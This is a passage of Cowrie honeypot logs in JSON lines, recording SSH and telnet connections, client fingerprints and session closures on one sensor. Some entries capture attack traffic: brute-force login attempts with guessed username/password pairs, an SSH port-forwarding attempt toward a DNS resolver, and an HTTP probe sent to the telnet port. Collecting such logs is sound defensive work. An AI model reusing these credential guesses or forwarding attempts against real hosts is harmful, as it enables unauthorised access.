{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:48.398340Z","session":"5e328c10e2ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:48.496878Z","src_ip":"87.251.64.176","session":"5e328c10e2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:48.596499Z","src_ip":"87.251.64.176","session":"5e328c10e2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.137714624404907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:34:05.132239Z","src_ip":"104.245.105.2","session":"73aaf17df11c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36258,"dst_ip":"10.17.0.5","dst_port":23,"session":"d39bcaffd6e7","protocol":"telnet","message":"New connection: 104.245.105.2:36258 (10.17.0.5:23) [session: d39bcaffd6e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:34:15.081305Z"}
{"eventid":"cowrie.session.closed","duration":40.628018379211426,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:34:19.348651Z","src_ip":"104.245.105.2","session":"8f4e76d33578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53072,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac2c755b291","protocol":"telnet","message":"New connection: 104.245.105.2:53072 (10.17.0.5:23) [session: aac2c755b291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:34:44.402583Z"}
{"eventid":"cowrie.session.closed","duration":31.246399641036987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:34:46.327577Z","src_ip":"104.245.105.2","session":"d39bcaffd6e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53088,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f16f3c62a26","protocol":"telnet","message":"New connection: 104.245.105.2:53088 (10.17.0.5:23) [session: 6f16f3c62a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:34:48.428857Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50256,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf50533d1b9","protocol":"telnet","message":"New connection: 104.245.105.2:50256 (10.17.0.5:23) [session: 6bf50533d1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:34:51.437943Z"}
{"eventid":"cowrie.session.closed","duration":32.54259777069092,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:16.945080Z","src_ip":"104.245.105.2","session":"aac2c755b291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73284912109375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:20.161617Z","src_ip":"104.245.105.2","session":"6f16f3c62a26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":21728,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac935400ddaa","protocol":"ssh","message":"New connection: 193.24.211.95:21728 (159.203.135.109:22) [session: ac935400ddaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:21.518147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:21.528872Z","src_ip":"193.24.211.95","session":"ac935400ddaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:21.627800Z","src_ip":"193.24.211.95","session":"ac935400ddaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"134679","message":"login attempt [root/134679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:22.068880Z","src_ip":"193.24.211.95","session":"ac935400ddaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.539130687713623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:22.976981Z","src_ip":"104.245.105.2","session":"6bf50533d1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:23.183422Z","src_ip":"193.24.211.95","session":"ac935400ddaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":42386,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a56841bb18a","protocol":"ssh","message":"New connection: 78.128.112.74:42386 (159.203.135.109:22) [session: 9a56841bb18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:34.294975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:34.575096Z","src_ip":"78.128.112.74","session":"9a56841bb18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:34.578811Z","src_ip":"78.128.112.74","session":"9a56841bb18a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234!","message":"login attempt [user/1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:35.095804Z","src_ip":"78.128.112.74","session":"9a56841bb18a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:35:36.218984Z","src_ip":"78.128.112.74","session":"9a56841bb18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57174,"dst_ip":"10.17.0.5","dst_port":23,"session":"308ae81ca689","protocol":"telnet","message":"New connection: 104.245.105.2:57174 (10.17.0.5:23) [session: 308ae81ca689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:36:12.533575Z"}
{"eventid":"cowrie.session.closed","duration":31.30411672592163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:36:43.837547Z","src_ip":"104.245.105.2","session":"308ae81ca689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60180,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a2063d2c770","protocol":"telnet","message":"New connection: 104.245.105.2:60180 (10.17.0.5:23) [session: 7a2063d2c770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:37:14.510031Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50078,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ec9ee15256","protocol":"telnet","message":"New connection: 104.245.105.2:50078 (10.17.0.5:23) [session: 72ec9ee15256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:37:43.331937Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50092,"dst_ip":"10.17.0.5","dst_port":23,"session":"79fdf15b0b40","protocol":"telnet","message":"New connection: 104.245.105.2:50092 (10.17.0.5:23) [session: 79fdf15b0b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:37:46.226979Z"}
{"eventid":"cowrie.session.closed","duration":35.9958393573761,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:37:50.505741Z","src_ip":"104.245.105.2","session":"7a2063d2c770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82965111732483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:38:14.161497Z","src_ip":"104.245.105.2","session":"72ec9ee15256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.50539445877075,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:38:32.732257Z","src_ip":"104.245.105.2","session":"79fdf15b0b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43586,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a4844c731eb","protocol":"telnet","message":"New connection: 104.245.105.2:43586 (10.17.0.5:23) [session: 8a4844c731eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:38:53.097122Z"}
{"eventid":"cowrie.session.closed","duration":34.422861099243164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:39:27.519908Z","src_ip":"104.245.105.2","session":"8a4844c731eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43318,"dst_ip":"10.17.0.5","dst_port":23,"session":"3734f5d3de85","protocol":"telnet","message":"New connection: 104.245.105.2:43318 (10.17.0.5:23) [session: 3734f5d3de85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:39:37.431456Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52898,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f09ce865e1","protocol":"telnet","message":"New connection: 104.245.105.2:52898 (10.17.0.5:23) [session: 53f09ce865e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:39:49.522265Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":55434,"dst_ip":"159.203.135.109","dst_port":23,"session":"4692685b3b8f","protocol":"telnet","message":"New connection: 34.38.9.57:55434 (159.203.135.109:23) [session: 4692685b3b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:39:58.015341Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":55440,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2495463a70","protocol":"telnet","message":"New connection: 34.38.9.57:55440 (159.203.135.109:23) [session: 4c2495463a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:39:58.172288Z"}
{"eventid":"cowrie.session.closed","duration":0.005903720855712891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:39:58.178017Z","src_ip":"34.38.9.57","session":"4c2495463a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":55444,"dst_ip":"159.203.135.109","dst_port":23,"session":"55d7ff9275e2","protocol":"telnet","message":"New connection: 34.38.9.57:55444 (159.203.135.109:23) [session: 55d7ff9275e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:39:58.330592Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53972,"dst_ip":"10.17.0.5","dst_port":23,"session":"6140ec046a3f","protocol":"telnet","message":"New connection: 104.245.105.2:53972 (10.17.0.5:23) [session: 6140ec046a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:04.501020Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64260,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f747141c981","protocol":"telnet","message":"New connection: 34.38.9.57:64260 (159.203.135.109:23) [session: 4f747141c981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.486487Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.491953Z","src_ip":"34.38.9.57","session":"4f747141c981","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.498756Z","src_ip":"34.38.9.57","session":"4f747141c981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09410929679870605,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.580456Z","src_ip":"34.38.9.57","session":"4f747141c981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64276,"dst_ip":"159.203.135.109","dst_port":23,"session":"786c50c6ad9d","protocol":"telnet","message":"New connection: 34.38.9.57:64276 (159.203.135.109:23) [session: 786c50c6ad9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.655096Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64284,"dst_ip":"159.203.135.109","dst_port":23,"session":"66082f4ee705","protocol":"telnet","message":"New connection: 34.38.9.57:64284 (159.203.135.109:23) [session: 66082f4ee705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.815244Z"}
{"eventid":"cowrie.session.closed","duration":0.13840651512145996,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.953561Z","src_ip":"34.38.9.57","session":"66082f4ee705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.30461716651916504,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.959594Z","src_ip":"34.38.9.57","session":"786c50c6ad9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64286,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ac182db06f","protocol":"telnet","message":"New connection: 34.38.9.57:64286 (159.203.135.109:23) [session: e2ac182db06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.970960Z"}
{"eventid":"cowrie.session.closed","duration":9.657722234725952,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.988237Z","src_ip":"34.38.9.57","session":"55d7ff9275e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.979814767837524,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:07.995011Z","src_ip":"34.38.9.57","session":"4692685b3b8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64296,"dst_ip":"159.203.135.109","dst_port":23,"session":"548a8a1b6edb","protocol":"telnet","message":"New connection: 34.38.9.57:64296 (159.203.135.109:23) [session: 548a8a1b6edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:08.127358Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64302,"dst_ip":"159.203.135.109","dst_port":23,"session":"db56640078fa","protocol":"telnet","message":"New connection: 34.38.9.57:64302 (159.203.135.109:23) [session: db56640078fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:08.282592Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64316,"dst_ip":"159.203.135.109","dst_port":23,"session":"67bca3513c14","protocol":"telnet","message":"New connection: 34.38.9.57:64316 (159.203.135.109:23) [session: 67bca3513c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:08.438503Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64322,"dst_ip":"159.203.135.109","dst_port":23,"session":"9743f4615115","protocol":"telnet","message":"New connection: 34.38.9.57:64322 (159.203.135.109:23) [session: 9743f4615115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:08.597121Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64338,"dst_ip":"159.203.135.109","dst_port":23,"session":"516a0f4901ef","protocol":"telnet","message":"New connection: 34.38.9.57:64338 (159.203.135.109:23) [session: 516a0f4901ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:08.751389Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64354,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b0f7cb60afb","protocol":"telnet","message":"New connection: 34.38.9.57:64354 (159.203.135.109:23) [session: 7b0f7cb60afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:08.914413Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64360,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e2b617384fc","protocol":"telnet","message":"New connection: 34.38.9.57:64360 (159.203.135.109:23) [session: 4e2b617384fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:09.165810Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64386,"dst_ip":"159.203.135.109","dst_port":23,"session":"49474457b831","protocol":"telnet","message":"New connection: 34.38.9.57:64386 (159.203.135.109:23) [session: 49474457b831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:09.324272Z"}
{"eventid":"cowrie.session.closed","duration":0.005926609039306641,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:09.330041Z","src_ip":"34.38.9.57","session":"49474457b831","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64392,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee87ac70557","protocol":"telnet","message":"New connection: 34.38.9.57:64392 (159.203.135.109:23) [session: dee87ac70557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:09.480078Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64400,"dst_ip":"159.203.135.109","dst_port":23,"session":"78a7161969ad","protocol":"telnet","message":"New connection: 34.38.9.57:64400 (159.203.135.109:23) [session: 78a7161969ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:09.636324Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64412,"dst_ip":"159.203.135.109","dst_port":23,"session":"7741f65e1bb0","protocol":"telnet","message":"New connection: 34.38.9.57:64412 (159.203.135.109:23) [session: 7741f65e1bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:09.796891Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64426,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1805d26ec01","protocol":"telnet","message":"New connection: 34.38.9.57:64426 (159.203.135.109:23) [session: e1805d26ec01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:09.955405Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64440,"dst_ip":"159.203.135.109","dst_port":23,"session":"644579c0a010","protocol":"telnet","message":"New connection: 34.38.9.57:64440 (159.203.135.109:23) [session: 644579c0a010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:10.114184Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64452,"dst_ip":"159.203.135.109","dst_port":23,"session":"54fc20dc607a","protocol":"telnet","message":"New connection: 34.38.9.57:64452 (159.203.135.109:23) [session: 54fc20dc607a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:10.269599Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.9.57","src_port":64460,"dst_ip":"159.203.135.109","dst_port":23,"session":"299b4060967f","protocol":"telnet","message":"New connection: 34.38.9.57:64460 (159.203.135.109:23) [session: 299b4060967f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:40:10.430349Z"}
